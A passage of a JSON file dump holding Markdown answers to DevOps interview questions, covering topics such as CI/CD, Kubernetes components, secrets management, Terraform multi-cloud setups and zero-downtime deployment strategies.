    "content": "Handling data migrations in a continuous deployment pipeline is not a trivial task. It requires careful planning to ensure that the application remains functional and data integrity is maintained throughout the process. Here’s an approach:\n\n1. **Backward Compatibility**: Ensure that any database schema changes are backward compatible. This means that the old application version should still work with the new schema. For example, if you're adding a new column, ensure the application can handle cases where this column might be null initially.\n2. **Migration Scripts**: Write database migration scripts that are idempotent (meaning that they can be run multiple times without causing issues) and can be safely executed during the deployment process. Use a tool like Flyway or Liquibase to manage these migrations.\n3. **Separate Deployment Phases**:\n- **Phase 1 - Schema Migration**: Deploy the database migration scripts first, adding new columns, tables, or indexes without removing or altering existing structures that the current application relies on.\n- **Phase 2 - Application Deployment**: Deploy the application code that utilizes the new schema. This ensures that the application is ready to work with the updated database structure.\n- **Phase 3 - Cleanup (Optional)**: After verifying that the new application version is stable, you can deploy a cleanup script to remove or alter deprecated columns, tables, or other schema elements. While optional, this step is advised, as it helps reduce the chances of creating a build up of technical debt for future developers to deal with.\n4. **Feature Flags**: Use feature flags to roll out new features that depend on the data migration. This allows you to deploy the new application code without immediately activating the new features, providing an additional safety net.\n\nThat said, an important, non-technical step that should also be taken into consideration is the coordination with stakeholders, particularly if the migration is complex or requires downtime. Clear communication ensures that everyone is aware of the risks and the planned steps.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/devsecops.md",
    "content": "To implement security in a DevOps pipeline (DevSecOps), you should integrate security practices throughout the development and deployment process. This is not just about securing the app once it’s in production, this is about securing the entire application-creation process.\n\nThat includes:\n\n1. **Shift Left Security**: Incorporate security early in the development process by integrating security checks in the CI/CD pipeline. This means performing static code analysis, dependency scanning, and secret detection during the build phase.\n2. **[Automated Testing](https://roadmap.sh/devops/test-automation)**: Implement automated security tests, such as vulnerability scans and dynamic application security testing (DAST), to identify potential security issues before they reach production.\n3. **Continuous Monitoring**: Monitor the pipeline and the deployed applications for security incidents using tools like Prometheus, Grafana, and specialized security monitoring tools.\n4. **Infrastructure as Code - Security**: Ensure that infrastructure configurations defined in code are secure by scanning IaC templates (like Terraform) for misconfigurations and vulnerabilities (like hardcoded passwords).\n5. **Access Control**: Implement strict access controls, using something like role-based access control (RBAC) or ABAC (attribute-based access control) and enforcing the principle of least privilege across the pipeline.\n6. **Compliance Checks**: Figure out the compliance requirements and regulations of your industry and integrate those checks to ensure the pipeline adheres to industry standards and regulatory requirements.\n7. **Incident Response**: Figure out a clear incident response plan and integrate security alerts into the pipeline to quickly address potential security breaches.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/docker-compose.md",
    "content": "[Docker Compose](https://docs.docker.com/compose/) is, in fact, a tool designed to simplify the definition and management of multi-container Docker applications. It allows you to define, configure, and run multiple containers as a single service using a single YAML file.\n\nIn a multi-container application, Compose provides the following key roles:\n\n1. **Service Definition**: With Compose you can specify multiple services inside a single file, you can also define how each service should be built, the networks they should connect to, and the volumes they should use (if any).\n2. **Orchestration**: It manages the startup, shutdown, and scaling of services, ensuring that containers are launched in the correct order based on the defined dependencies.\n3. **Environment Management**: Docker Compose simplifies environment configuration because it lets you set environment variables, networking configurations, and volume mounts in the docker-compose.yml file.\n4. **Simplified Commands**:  All of the above can be done with a very simple set of commands you can run directly from the terminal (i.e. docker-compose up, or docker-compose down).\n\nIn the end, Docker Compose simplifies the development, testing, and deployment of multi-container applications by giving you, as a user, an extremely friendly and powerful interface.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/explain-ci-vs-cd.md",
    "content": "Continuous Integration (CI) involves automatically building and testing code changes as they are committed to version control systems (usually Git). This helps catch issues early and improves code quality.\n\nOn the other hand, Continuous Deployment (CD) goes a step further by automatically deploying every change that passes the CI process, ensuring that software updates are delivered to users quickly and efficiently without manual intervention.\n\nCombined, they add a great deal of stability and agility to the development lifecycle.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/health-monitor.md",
    "content": "Each DevOps team should define this list within the context of their own project, however, a good rule of thumb is to consider the following metrics:\n\n1. **Build Success Rate**: The percentage of successful builds versus failed builds. A low success rate indicates issues in code quality or pipeline configuration.\n2. **Build Time**: The time it takes to complete a build. Monitoring build time helps identify bottlenecks and optimize the pipeline for faster feedback.\n3. **Deployment Frequency**: How often deployments occur. Frequent deployments indicate a smooth pipeline, while long gaps may signal issues with your CI/CD or with the actual dev workflow.\n4. **Lead Time for Changes**: The time from code commit to production deployment. Shorter lead times are preferable, indicating an efficient pipeline.\n5. **Mean Time to Recovery (MTTR)**: The average time it takes to recover from a failure. A lower MTTR indicates a resilient pipeline that can quickly address and fix issues.\n6. **Test Coverage and Success Rate**: The percentage of code covered by automated tests and the success rate of those tests. High coverage and success rates are good indicators of better quality and reliability.\n7. **Change Failure Rate**: The percentage of deployments that result in failures. A lower change failure rate indicates a stable and reliable deployment process."
  },
  {
    "path": "src/data/question-groups/devops/content/high-availability.md",
    "content": "Having high availability in your system means that the cluster will always be accessible, even if one or more servers are down.\n\nWhile disaster recovery means having the ability to continue providing service even in the face of a regional network outage (when multiple sections of the world are rendered unreachable).\n\nTo ensure high availability and disaster recovery in a cloud environment, you can follow these strategies if they apply to your particular context:\n\n- **Multi-Region Deployment**: If available, deploy your application across multiple geographic regions to ensure that if one region fails, others can take over, minimizing downtime.\n- **Redundancy**: Keep redundant resources, such as multiple instances, databases, and storage systems, across different availability zones within a region to avoid single points of failure.\n- **Auto-Scaling**: Implement auto-scaling to automatically adjust resource capacity in response to demand, ensuring the application remains available even under high load.\n- **Monitoring and Alerts**: Implement continuous monitoring and set up alerts to detect and respond to potential issues before they lead to downtime. Use tools like CloudWatch, Azure Monitor, or Google Cloud Monitoring.\n- **Failover Mechanisms**: Make sure to set up automated failover mechanisms to switch to backup systems or regions seamlessly in case of a failure in the primary systems.\n\nWhatever strategy (or combination of) you decide to go with, always develop and regularly test a disaster recovery plan that outlines steps for restoring services and data in the event of a major failure.\n\nThis plan should include defined RTO (Recovery Time Objective) and RPO (Recovery Point Objective) targets. Being prepared to deal with the worst case scenarios is the only way, as these types of problems tend to cause chaos in small and big companies alike.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/iac-concept.md",
    "content": "![Explain the concept of IaC](https://assets.roadmap.sh/guest/infrastructure-as-code-with-terraform-fbhi6.png)\n\nIaC (Infrastructure as Code) is all about managing infrastructure through code, instead of using other more conventional configuration methods. Specifically in the context of Terraform, here is how you’d want to approach IaC:\n\n- **Configuration Files**: Define your infrastructure using HCL or JSON files.\n- **Execution Plan**: Generate a plan showing the changes needed to reach the desired state.\n- **Resource Provisioning**: Terraform will then apply the plan to provision and configure desired resources.\n- **State Management**: Terraform then tracks the current state of your infrastructure with a state file.\n- **Version Control**: Finally, store the configuration files in a version control system to easily version them and share them with other team members."
  },
  {
    "path": "src/data/question-groups/devops/content/implement-logging.md",
    "content": "Logging for a distributed system is definitely not a trivial problem to solve. While the actual implementation might change based on your particular tech stack, the main aspects to consider are:\n\n- Keep the structure of all logs consistent and the same throughout your platform. This will ensure that whenever you want to explore them in search for details, you’ll be able to quickly move from one to the other without having to change anything.\n- Centralize them somewhere. It can be an ELK stack, it can be Splunk or any of the many solutions available out there. Just make sure you centralize all your logs so that you can easily interact with all of them when required.\n- Add unique IDs to each request that gets logged, that way you can trace the flow of data from service to service. Otherwise, debugging problems becomes a real issue.\n- Add a tool that helps you search, query, and visualize the logs. After all, that’s why you want to keep track of that information, to use it somehow. Find yourself a UI that works for you and use it to explore your logs.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/kubernetes-components.md",
    "content": "There are many components involved, some of them are part of the master node, and others belong to the worker nodes.\n\nHere’s a quick summary:\n\n1. **Master Node Component**s:\n- **API Server**: The front-end for the Kubernetes control plane, handling all RESTful requests for the cluster.\n- **etcd**: A distributed key-value store that holds the cluster's configuration and state.\n- **Controller** Manager: Manages various controllers that regulate the state of the cluster.\n- **Scheduler**: Assigns workloads to different nodes based on resource availability and other constraints.\n2. *Worker Node Components*:\n- **Kubelet**: This is an agent that runs on each node, and it ensures that each container is running in a Pod.\n- **Kube-proxy**: A network proxy that maintains network rules and handles routing for services.\n- **Container Runtime**: This software runs containers, such as Docker, containerd, or CRI-O.\n3. **Additional Components**:\n- **Pods**: These are the smallest deployable units in Kubernetes; they consist of one or more containers.\n- **Services**: Services define a logical set of Pods and a policy for accessing them, they’re often used for load balancing.\n- **ConfigMaps and Secrets**: They manage configuration data and sensitive information, respectively.\n- **Ingress**: It manages external access to services, typically through HTTP/HTTPS.\n- **Namespaces**: They provide a mechanism for isolating groups of resources within a single cluster."
  },
  {
    "path": "src/data/question-groups/devops/content/kubernetes-operators.md",
    "content": "As with any piece of software solution, there are no absolutes. In the case of Kubernetes Operators, while they do offer significant benefits for automating and managing complex applications, they also introduce additional complexity and resource requirements.\n\n**Advantages of Kubernetes Operators**:\n\n1. **Automation of Complex Tasks**: Operators automate the management of complex stateful applications, such as databases, reducing the need for manual intervention.\n2. **Consistency**: They help reduce human error and increase reliability by ensuring consistent deployments, scaling, and management of applications across environments.\n3. **Custom Resource Management**: Operators allow you to manage custom resources in Kubernetes, extending its capabilities to support more complex applications and services.\n4. **Simplified Day-2 Operations**: Operators streamline tasks like backups, upgrades, and failure recovery, making it easier to manage applications over time.\n\n**Disadvantages of Kubernetes Operators**:\n\n1. **Complexity**: Developing and maintaining Operators can be complex and require in-depth knowledge of both Kubernetes and the specific application being managed.\n2. **Overhead**: Running Operators adds additional components to your Kubernetes cluster, which can increase resource consumption and operational overhead.\n3. **Limited Use Cases**: Not all applications benefit from the complexity of an Operator; for simple stateless applications, Operators might be overkill.\n4. **Maintenance**: Operators need to be regularly maintained and updated, especially as Kubernetes itself keeps evolving, which can add to the maintenance burden."
  },
  {
    "path": "src/data/question-groups/devops/content/load-balancer.md",
    "content": "![What is a load balancer?](https://assets.roadmap.sh/guest/loadbalancer-working-eytvi.png)\n\nA load balancer is a device or software that distributes incoming network traffic across multiple servers to ensure no single server becomes overwhelmed.\n\nIt is important because it improves the availability, reliability, and performance of applications by evenly distributing the load, preventing server overload, and providing failover capabilities in case of server failures.\n\nLoad balancers are usually used when scaling up RESTful microservices, as their stateless nature, you can set up multiple copies of the same one behind a load balancer and let it distribute the load amongst all copies evenly.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/microservice-challenges.md",
    "content": "While in theory microservices can solve all platform problems, in practice there are several challenges that you might encounter along the way.\n\nSome examples are:\n\n1. **Complexity**: Managing multiple services increases the overall system complexity, making development, deployment, and monitoring more challenging (as there are more “moving parts”).\n2. **Service Communication**: Ensuring reliable communication between services, handling network latency, and dealing with issues like service discovery and API versioning can be difficult. There are of course alternatives to deal with all of these issues, but they’re not evident right off the bat nor the same for everyone.\n3. **Data Management**: It’s all about trade-offs in the world of distributed computing. Managing data consistency and transactions across distributed services is complex, often requiring techniques like eventual consistency and distributed databases.\n4. **Deployment Overhead**: Coordinating the deployment of multiple services, especially when they have interdependencies, can lead to more complex CI/CD pipelines.\n5. **Monitoring and Debugging**: Troubleshooting issues is harder in a microservices architecture due to the distributed nature of the system. Trying to figure out where the information goes and which services are involved in a single request can be quite a challenge for large platforms. This makes debugging microservices architecture a real headache.\n6. **Security**: Securing microservices involves managing authentication, authorization, and data protection across multiple services, often with varying security requirements."
  },
  {
    "path": "src/data/question-groups/devops/content/microservice-vs-monolithic.md",
    "content": "![Microservice vs Monolithic](https://assets.roadmap.sh/guest/microservice-vs-monolith-2og84.png)\n\nA microservice is an architectural style that structures an application as a collection of small, loosely coupled, and independently deployable services (hence the term “micro”).\n\nEach service focuses on a specific business domain and can communicate with others through well-defined APIs.\n\nIn the end, your application is not (usually) composed of a single microservice (that would make it monolith), instead, its architecture consists of multiple microservices working together to serve the incoming requests.\n\nOn the other hand, a monolithic application is a single (often massive) unit where all functions and services are interconnected and run as a single process.\n\nThe biggest difference between monoliths and microservices is that changes to a monolithic application require the entire system to be rebuilt and redeployed, while microservices can be developed, deployed, and scaled independently, allowing for greater flexibility and resilience.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/migrate-environment.md",
    "content": "To migrate an existing application into a containerized environment, you’ll need to adapt the following steps to your particular context:\n\n1. Figure out what parts of the application need to be containerized together.\n2. Create your Dockerfiles and define the entire architecture in that configuration, including the interservice dependencies that there might be.\n3. Figure out if you also need to containerize any external dependency, such as a database. If you do, add that to the Dockerfile.\n4. Build the actual Docker image.\n5. Once you make sure it runs locally, configure the orchestration tool you use to manage the containers.\n6. You’re now ready to deploy to production, however, make sure you keep monitoring and alerting on any problem shortly after the deployment in case you need to roll back.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/multi-cloud-kubernetes.md",
    "content": "The process is pretty much the same as it was described above, with an added step to set up the actual Kubernetes cluster:\n\nUse Terraform to define and provision Kubernetes clusters in each cloud. For instance, create an EKS cluster on AWS, an AKS cluster on Azure, and a GKE cluster on Google Cloud, specifying configurations such as node types, sizes, and networking.\n\nOnce you’re ready, make sure to set up the Kubernetes auto-scaler on each of the cloud providers to manage resources and scale based on the load they receive.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/multi-cloud.md",
    "content": "Setting up a multi-cloud infrastructure using Terraform involves the following steps:\n\n1. **Define Providers**: In your Terraform configuration files, define the providers for each cloud service you intend to use (e.g., AWS, Azure, Google Cloud). Each provider block will configure how Terraform interacts with that specific cloud.\n2. **Create Resource Definitions**: In the same or separate Terraform files, define the resources you want to provision in each cloud. For example, you might define AWS EC2 instances, Azure Virtual Machines, and Google Cloud Storage buckets within the same project.\n3. **Set Up State Management**: Use a remote backend to manage Terraform state files centrally and securely. This is crucial for multi-cloud setups to ensure consistency and to allow collaboration among team members.\n4. **Configure Networking**: Design and configure networking across clouds, including VPCs, subnets, VPNs, or peering connections, to enable communication between resources in different clouds.\n5. **Provision Resources**: Run terraform init to initialize the configuration, then terraform plan to preview the changes, and finally terraform apply to provision the infrastructure across the multiple cloud environments.\n6. **Handle Authentication**: Ensure that each cloud provider's authentication (e.g., access keys, service principals) is securely handled, possibly using environment variables or a secret management tool. Do not hardcode sensitive information in your code, ever.\n7. **Monitor and Manage**: As always, after deploying, use Terraform's state files and output to monitor the infrastructure."
  },
  {
    "path": "src/data/question-groups/devops/content/network-configuration.md",
    "content": "Managing the network configuration is not a trivial task, especially when the architecture is big and complex.\n\n- Specifically in a cloud environment, managing network configurations involves several steps:\nCreating and isolating resources within Virtual Private Clouds (VPCs), organizing them into subnets, and controlling traffic using security groups and network ACLs. \n- Set up load balancers to distribute traffic for better performance, while setting up DNS services at the same time to manage domain routing. \n- Have VPNs and VPC peering connect cloud resources securely with other networks. \n- Finally, [automation tools](https://roadmap.sh/devops/automation-tools) like Terraform handle network setups consistently, and monitoring tools ensure everything runs smoothly.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/optimize-cicd.md",
    "content": "There are many ways in which you can optimize a CI/CD pipeline for performance and reliability, it all depends highly on the tech stack and your specific context (your app, your CI/CD setup, etc). However, the following are some potential solutions to this problem:\n\n1. **Parallelize Jobs**: As long as you can, try to run independent jobs in parallel to reduce overall build and test times. This ensures faster feedback and speeds up the entire pipeline.\n2. **Optimize Build Caching**: Use caching mechanisms to avoid redundant work, such as re-downloading dependencies or rebuilding unchanged components. This can significantly reduce build times.\n3. **Incremental Builds**: Implement incremental builds that only rebuild parts of the codebase that have changed, rather than the entire project. This is especially useful for large projects with big codebases.\n4. **Efficient Testing**: Prioritize and parallelize tests, running faster unit tests early and reserving more intensive integration or end-to-end tests for later stages. Be smart about it and use test impact analysis to only run tests affected by recent code changes.\n5. **Monitor Pipeline Health**: Continuously monitor the pipeline for bottlenecks, failures, and performance issues. Use metrics and logs to identify and address inefficiencies.\n6. **Environment Consistency**: Ensure that build, test, and production environments are consistent to avoid \"It works on my machine\" issues. Use containerization or Infrastructure as Code (IaC) to maintain environment parity. Your code should work in all environments, and if it doesn’t, it should not be the fault of the environment.\n7. **Pipeline Stages**: Use pipeline stages wisely to catch issues early. For example, fail fast on linting or static code analysis before moving on to more resource-intensive stages.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/orchestration.md",
    "content": "Orchestration in DevOps refers to the automated coordination and management of complex IT systems. It involves combining multiple automated tasks and processes into a single workflow to achieve a specific goal.\n\nNowadays, automation (or orchestration) is one of the key components of any software development process and it should never be avoided nor preferred over manual configuration.\n\nAs an automation practice, orchestration helps to remove the chance of human error from the different steps of the software development lifecycle. This is all to ensure efficient resource utilization and consistency.\n\nSome examples of orchestration can include orchestrating container deployments with Kubernetes and automating infrastructure provisioning with tools like Terraform.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/popular-cicd-tools.md",
    "content": "There are too many out there to name them all, but we can group them into two main categories: on-prem and cloud-based.\n\n**On-prem CI/CD tools**\n\nThese tools allow you to install them on your own infrastructure and don’t require any extra external internet access. Some examples are:\n\n- Jenkins\n- GitLab CI/CD (can be self-hosted)\n- Bamboo\n- TeamCity\n\n**Cloud-based CI/CD tools**\n\nOn the other hand, these tools either require you to use them from the cloud or are only accessible in SaaS format, which means they provide the infrastructure, and you just use their services.\n\nSome examples of these tools are:\n\n- CircleCI\n- Travis CI\n- GitLab CI/CD (cloud version)\n- Azure DevOps\n- Bitbucket Pipelines\n"
  },
  {
    "path": "src/data/question-groups/devops/content/purpose-of-cm.md",
    "content": "When organizations and platforms grow large enough, keeping track of how different areas of the IT ecosystem (infrastructure, deployment pipelines, hardware, etc) are meant to be configured becomes a problem, and finding a way to manage that chaos suddenly becomes a necessity.\nThat is where configuration management comes into play.\n\nThe purpose of a configuration management tool is to automate the process of managing and maintaining the consistency of software and hardware configurations across an organization's infrastructure.\n\nIt makes sure that systems are configured correctly, updates are applied uniformly, and configurations are maintained according to predefined standards.\n\nThis helps reduce configuration errors, increase efficiency, and ensure that environments are consistent and compliant."
  },
  {
    "path": "src/data/question-groups/devops/content/reverse-proxy.md",
    "content": "![Reverse Proxy Explained](https://assets.roadmap.sh/guest/reverse-proxy-explained-t12iw.png)\n\nA reverse proxy is a piece of software that sits between clients and backend servers, forwarding client requests to the appropriate server and returning the server's response to the client. It helps with load balancing, security, caching, and handling SSL termination.\n\nAn example of a reverse proxy is **Nginx**. For example, if you have a web application running on several backend servers, Nginx can distribute incoming HTTP requests evenly among these servers. This setup improves performance, enhances fault tolerance, and ensures that no single server is overwhelmed by traffic.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/role-of-devops.md",
    "content": "This is probably one of the most common DevOps interview questions out there because by answering it correctly, you show that you actually know what DevOps engineers (A.K.A “you”) are supposed to work on.\n\nThat said, this is not a trivial question to answer because different companies will likely implement DevOps with their own “flavor” and in their own way.\n\nAt a high level, the role of a DevOps engineer is to bridge the gap between development and operations teams with the aim of improving the development lifecycle and reducing deployment errors.\n\nWith that said other key responsibilities may include:\n\n- Implementing and managing CI/CD pipelines.\n- Automating infrastructure provisioning and configuration using IaC tools.\n- Monitoring and maintaining system performance, security, and availability.\n- Collaborating with developers to streamline code deployments and ensures smooth operations.\n- Managing and optimizing cloud infrastructure.\n- Ensuring system scalability and reliability.\n- Troubleshooting and resolving issues across the development and production environments.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/scaling-differences.md",
    "content": "![Vertical vs Horizontal Scaling](https://assets.roadmap.sh/guest/vertical-scaling-vs-horizontal-scaling-dfy6m.png)\n\nThey’re both valid scaling techniques, but they both have different limitations on the affected system.\n\n**Horizontal Scaling**\n\n- Involves adding more machines or instances to your infrastructure.\n- Increases capacity by connecting multiple hardware or software entities so they work as a single logical unit.\n- Often used in distributed systems and cloud environments.\n\n**Vertical Scaling**\n\n- Involves adding more resources (CPU, RAM, storage) to an existing machine.\n- Increases capacity by enhancing the power of a single server or instance.\n- Limited by the maximum capacity of the hardware.\n\nIn summary, horizontal scaling adds more machines to handle increased load, while vertical scaling enhances the power of existing machines.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/secret-management.md",
    "content": "There are many ways to handle secrets management in a DevOps pipeline, some of them involve:\n\n- Storing secrets in environment variables managed by the CI/CD tool.\n- Using secret management tools like HashiCorp Vault, AWS Secrets Manager, or Azure Key Vault to securely store and retrieve secrets. \n- Encrypted configuration files are also an option, with decryption keys stored securely somewhere else. \n- Whatever strategy you decide to go with, it's crucial to implement strict access controls and permissions, integrate secret management tools with CI/CD pipelines to fetch secrets securely at runtime, and above all, avoid hardcoding secrets in code repositories or configuration files.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/serverless-computing.md",
    "content": "Contrary to popular belief, serverless computing doesn’t mean there are no servers, in fact, there are, however, you just don’t need to worry about them.\n\nServerless computing is a cloud computing model where the cloud provider automatically manages the infrastructure, allowing developers to focus solely on writing and deploying code. In this model, you don't have to manage servers or worry about scaling, as the cloud provider dynamically allocates resources as needed.\n\nOne of the great qualities of this model is that you pay only for the compute time your code actually uses, rather than for pre-allocated infrastructure (like you would for a normal server).\n"
  },
  {
    "path": "src/data/question-groups/devops/content/stateful-applications.md",
    "content": "Handling stateful applications in a Kubernetes environment requires careful management of persistent data; you need to ensure that data is retained even if Pods are rescheduled or moved.\n\nHere’s one way you can do it:\n\n1. **Persistent Volumes (PVs) and Persistent Volume Claims (PVCs)**: Use Persistent Volumes to define storage resources in the cluster, and Persistent Volume Claims to request specific storage. This way you decouple storage from the lifecycle of Pods, ensuring that data persists independently of Pods.\n2. **StatefulSets**: Deploy stateful applications using StatefulSets instead of Deployments. StatefulSets ensure that Pods have stable, unique network identities and persistent storage, which is crucial for stateful applications like databases.\n3. **Storage Classes**: Use Storage Classes to define the type of storage (e.g., SSD, HDD) and the dynamic provisioning of Persistent Volumes. This allows Kubernetes to automatically provision the appropriate storage based on the application's needs.\n4. **Headless Services**: Configure headless services to manage network identities for StatefulSets. This allows Pods to have consistent DNS names, which is important for maintaining stateful connections between Pods.\n5. **Backup and Restore**: Implement backup and restore mechanisms to protect the persistent data. Tools like Velero can be used to back up Kubernetes resources and persistent volumes.\n6. **Data Replication**: For critical applications, set up data replication across multiple zones or regions to ensure high availability and data durability.\n\nAs always, continuously monitor the performance and health of stateful applications using Kubernetes-native tools (e.g., Prometheus) and ensure that the storage solutions meet the performance requirements of the application."
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-devops.md",
    "content": "DevOps is a set of practices that combines software development (Dev) and IT operations (Ops). Its main goal is to shorten (and simplify) the software development lifecycle and provide continuous delivery with high software quality. \n\nIt is important because it helps to improve collaboration between development and operations teams which in turn, translates into increasing deployment frequency, reducing failure rates of new releases, and speeding up recovery time. \n"
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-docker.md",
    "content": "Docker is an open-source platform that enables developers to create, deploy, and run applications within lightweight, portable containers. These containers package an application along with all of its dependencies, libraries, and configuration files.\n\nThat, in turn, ensures that the application can run consistently across various computing environments.\n\nDocker has become one of the most popular [DevOps tools](https://roadmap.sh/devops/tools) because it provides a consistent and isolated environment for development, continuous testing, and deployment. This consistency helps to eliminate the common \"It works on my machine\" problem by ensuring that the application behaves the same way, regardless of where it is run—whether on a developer's local machine, a testing server, or in production.\n\nAdditionally, Docker simplifies the management of complex applications by allowing developers to break them down into smaller, manageable microservices, each running in its own container.\n\nThis approach not only supports but also enhances scalability, and flexibility and it makes it easier to manage dependencies, version control, and updates.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-gitops.md",
    "content": "GitOps is a practice that uses Git as the single source of truth for infrastructure and application management. It takes advantage of Git repositories to store all configuration files and through automated processes, it ensures that both infrastructure and application configuration match the described state in the repo.\n\nThe main differences between GitOps and traditional CI/CD are:\n\n- **Source of Truth**: GitOps uses Git as the single source of truth for both infrastructure and application configurations. In traditional CI/CD, configurations may be scattered across various tools and scripts.\n- **Deployment Automation**: In GitOps, changes are automatically applied by reconciling the desired state in Git with the actual state in the environment. Traditional CI/CD often involves manual steps for deployment.\n- **Declarative Approach**: GitOps emphasizes a declarative approach where the desired state is defined in Git and the system automatically converges towards it. Traditional CI/CD often uses imperative scripts to define steps and procedures to get the system to the state it should be in.\n- **Operational Model**: GitOps operates continuously, monitoring for changes in Git and applying them in near real-time. Traditional CI/CD typically follows a linear pipeline model with distinct build, test, and deploy stages.\n- **Rollback and Recovery**: GitOps simplifies rollbacks and recovery by reverting changes in the Git repository, which is a native mechanism and automatically triggers the system to revert to the previous state. Traditional CI/CD may require extra work and configuration to roll back changes."
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-helm-chart.md",
    "content": "A Helm chart is a set of YAML templates used to configure Kubernetes resources. It simplifies the deployment and management of applications within a Kubernetes cluster by bundling all necessary components (such as deployments, services, and configurations) into a single, reusable package.\n\nHelm charts are used in Kubernetes to:\n\n- **Simplify Deployments**: By using Helm charts, you can deploy complex applications with a single command.\n- **Version Control**: Given how they’re just plain-text files, helm charts support versioning, allowing you to track and roll back to previous versions of your applications easily.\n- **Configuration Management**: They allow you to manage configuration values separately from the Kubernetes manifests, making it easier to update and maintain configurations.\n- **Reuse and Share**: Helm charts can be reused and shared across different projects and teams, promoting best practices and consistency."
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-iac.md",
    "content": "![Explain Infrastructure as Code](https://assets.roadmap.sh/guest/infrastructure-as-code-explained-4dpxm.png)\n\nIaC is the practice of managing and provisioning infrastructure through machine-readable configuration files (in other words, “code”), rather than through physical hardware configuration or interactive configuration tools. \n\nBy keeping this configuration in code format, we now gain the ability to keep it stored in version control platforms, and automate their deployment consistently across environments, reducing the risk of human error and increasing efficiency in infrastructure management.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-kubernetes.md",
    "content": "![What is Kubernetes](https://assets.roadmap.sh/guest/kubernetes-logo-with-docker-4f0q6.png)\n\nIf we’re talking about DevOps tools, then Kubernetes is a must-have. Specifically, Kubernetes is an open-source container orchestration platform. That means it can automate the deployment, scaling, and management of containerized applications.\n\nIt is widely used because it simplifies the complex tasks of managing containers for large-scale applications, such as ensuring high availability, load balancing, rolling updates, and self-healing.\n\nKubernetes helps organizations run and manage applications more efficiently and reliably in various environments, including on-premises, cloud, or hybrid setups.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-prometheus.md",
    "content": "As a DevOps engineer, knowing your tools is key, given how many are out there, understanding  which ones get the job done is important.\n\nIn this case, Prometheus is an open-source monitoring and alerting tool designed for reliability and scalability. It is widely used to monitor applications and infrastructure by collecting metrics, storing them in a time-series database, and providing powerful querying capabilities.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-rollback.md",
    "content": "A rollback is the process of reverting a system to a previous stable state, typically after a failed or problematic deployment to production.\n\nYou would perform a rollback when a new deployment causes one or several of the following problems: application crashes, significant bugs, security vulnerabilities, or performance problems.\n\nThe goal is to restore the system to a known “good” state while minimizing downtime and the impact on users while investigating and resolving the issues with the new deployment.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-service-mesh.md",
    "content": "![What is a Service Mesh?](https://assets.roadmap.sh/guest/service-mesh-vs-normal-microservices-dns8i.png)\n\nA service mesh is a dedicated layer in a system’s architecture for handling service-to-service communication.\n\nThis is a very common problem to solve when your microservice-based architecture grows out of control. Suddenly having to understand how to orchestrate them all in a way that is reliable and scalable becomes more of a chore.\n\nWhile teams can definitely come up with solutions to this problem, using a ready-made solution is also a great alternative.\n\nA service mesh manages tasks like load balancing, service discovery, encryption, authentication, authorization, and observability,  without requiring changes to the application code (so it can easily be added once the problem presents, instead of planning for it from the start).\n\nThere are many products out there that provide this functionality, but some examples are Istio, Linkerd, and Consul.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-shift-left.md",
    "content": "The concept of '[shift left](https://roadmap.sh/devops/shift-left-testing)' in DevOps refers to the practice of performing tasks earlier in the software development lifecycle.\n\nThis includes integrating testing, security, and other quality checks early in the development process rather than at the end. The goal is to identify and fix issues sooner, thus reducing defects, improving quality, and speeding up software delivery times.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/what-is-version-control.md",
    "content": "Version control is a system that records changes to files over time so that specific versions can be recalled later or multiple developers can work on the same codebase and eventually merge their work streams together with minimum effort.\n\nIt is important in DevOps because it allows multiple team members to collaborate on code, tracks and manages changes efficiently, enables rollback to previous versions if issues arise, and supports automation in CI/CD pipelines, ensuring consistent and reliable software delivery (which is one of the key principles of DevOps).\n\nIn terms of tooling, one of the best and most popular version control systems is Git. It provides what is known as a distributed version control system, giving every team member a piece of the code so they can branch it, work on it however they feel like it, and push it back to the rest of the team once they’re done.\n\nThat said, there are other legacy teams using alternatives like CVS or SVN.\n"
  },
  {
    "path": "src/data/question-groups/devops/content/zero-downtime.md",
    "content": "Zero-downtime deployments are crucial to maintain the stability of service with high-traffic applications. To achieve this, there are many different strategies, some of which we’ve already covered in this article.\n\n1. **Blue-Green Deployment**: Set up two identical environments—blue (current live) and green (new version). Deploy the new version to the green environment, test it, and then switch traffic from blue to green. This ensures that users experience no downtime.\n2. **Canary Releases**: Gradually route a small percentage of traffic to the new version while the rest continues to use the current version. Monitor the new version's performance, and if successful, progressively increase the traffic to the new version.\n3. **Rolling Deployments**: Update a subset of instances or Pods at a time, gradually rolling out the new version across all servers or containers. This method ensures that some instances remain available to serve traffic while others are being updated.\n4. **Feature Flags**: Deploy the new version with features toggled off. Gradually enable features for users without redeploying the code. This allows you to test new features in production and quickly disable them if issues arise."
  },
  {
    "path": "src/data/question-groups/devops/devops.md",
